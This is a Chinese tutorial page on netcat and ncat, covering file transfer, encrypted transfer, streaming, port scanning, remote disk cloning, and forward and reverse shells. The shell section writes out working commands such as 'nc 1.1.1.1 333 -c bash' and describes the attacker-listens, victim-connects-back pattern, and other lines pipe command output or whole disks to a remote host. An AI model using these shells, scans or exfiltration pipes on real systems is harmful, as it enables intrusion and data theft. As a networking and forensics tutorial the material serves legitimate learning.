zoukankan      html  css  js  c++  java
  • Netcat-NC 工具的使用

    netcat---网络工具中的“瑞士军刀”( 小身材,大智慧)

    • 侦听模式/ 传输模式
    • telnet /获取banner信息
      • nc -nv IP Port
      传输文本信息(可实现两台电脑的“聊天”)
      • A: nc -l -p 4444
      • B: nc -nv 1.1.1.1 4444
    • 传输文件/ 目录
    • 加密传输文件
    • 远程控制木马
    • 加密所有流量
    • 流媒体服务器
    • 远程克隆硬盘
    root@bogon:~# nc -h
    [v1.10-41.1]
    connect to somewhere:    nc [-options] hostname port[s] [ports] ... 
    listen for inbound:    nc -l -p port [-options] [hostname] [port]
    options:
        -c shell commands    as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename        program to exec after connect [dangerous!!]
        -b            allow broadcasts
        -g gateway        source-routing hop point[s], up to 8
        -G num            source-routing pointer: 4, 8, 12, ...
        -h            this cruft
        -i secs            delay interval for lines sent, ports scanned
            -k                      set keepalive option on socket
        -l            listen mode, for inbound connects
        -n            numeric-only IP addresses, no DNS
        -o file            hex dump of traffic
        -p port            local port number
        -r            randomize local and remote ports
        -q secs            quit after EOF on stdin and delay of secs
        -s addr            local source address
        -T tos            set Type Of Service
        -t            answer TELNET negotiation
        -u            UDP mode
        -v            verbose [use twice to be more verbose]
        -w secs            timeout for connects and final net reads
        -C            Send CRLF as line-ending
        -z            zero-I/O mode [used for scanning]
    port numbers can be individual or ranges: lo-hi [inclusive];
    hyphens in port names must be backslash escaped (e.g. 'ftp-data').
    nc -h

    远程电子取证的要求就是尽可能不破坏现场,在NC传输文本信息的基础上

    对于服务端开启监听;
    nc -l -p 4444
    nc -l -p 4444 > nc.text
    ---------------------------
    对于客户端开启命令传输:
    ①直接 nc -nv 192.168.56.134 4444
    此时,这输入嘛,服务端就显示嘛。
    ② 执行命令后,将结果显示在服务端。
    ls -l |nc -nv 192.168.56.134 4444
    这样命令就显示在远程端了。
    ③ 远程端想将结果保存下来:
    服务端这样:nc -l -p 4444 > nc.text
    客户端这样:ls -al |nc -nv 192.168.56.134 4444
    
    root@bogon:~# ps aux |nc -nv 192.168.56.134 4444 -q 1
    (UNKNOWN) [192.168.56.134] 4444 (?) open
    这个 -q 1 是说命令执行完等1s就退出。

     传输文件和目录这样:

     A:nc -lp 333 > 1.mp4
     B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1
     或
     A:nc -q 1 -lp 333 < a.mp4
     B: nc -nv 1.1.1.1 333 > 2.mp4
    
    • 传输目录
    A:tar -cvf - music/ | nc -lp 333 –q 1
    B:nc -nv 1.1.1.1 333 | tar -xvf – • 加密传文件 A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
    #需要先安装下mcrypt

    流媒体服务这样:

    A: cat 1.mp4 | nc -lp 3333
    B: nc -lp 1.1.1.1 3333 | mplayer -vo x11 -cache 3000 -
    #mplayer需要自行安装,也可以其他软件,管道过来播放就行

    端口扫描(简单的)

    nc -nvz 1.1.1.1 1-65535  //TCP
    nc –nvzu 1.1.1.1 1-102   //UDP

    远程克隆硬盘

    A: nc -lp 333 | dd of=/dev/sda
    B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1 
    #远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。

     远程控制(..反弹shell)

    正向:
    服务器开监听端口并启动bash,客户端来连接。
     A:nc -lp 333 -c bash
     B:nc 1.1.1.1 333 
    
    反向:
    服务器开启监听端口等着,客户端来连接启动bash,把自己的bash主动反弹过来
     A:nc -lp 333
     B:nc 1.1.1.1 333 -c bash
    
    #注:Windows⽤用户把bash改成cmd
    #反向的是攻击端自己开个服务监听,让被害端连过来

    NC—与—NCAT

    • Nc缺乏加密和⾝份验证的能⼒

    Ncat包含在nmap⼯工具包中

    A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
    B:ncat -nv 1.1.1.1 333 --ssl

    ncat的管道加密

     #不同系统/平台的NC参数功能不尽相同。例如Ubuntu...

    为美好的生活奋斗!
  • 相关阅读:
    Mybatis在oracle批量更新
    WebService小记
    java基本排序
    ant使用
    python 集合
    amazon-aws 使用 SNS 发送短信
    Html5+ 开发APP 后台运行代码
    CentOS7 -防火墙
    java 模拟表单方式提交上传文件
    修改pom项目版本 jenkins 关联 shell命令
  • 原文地址:https://www.cnblogs.com/ethtool/p/12237207.html
Copyright © 2011-2022 走看看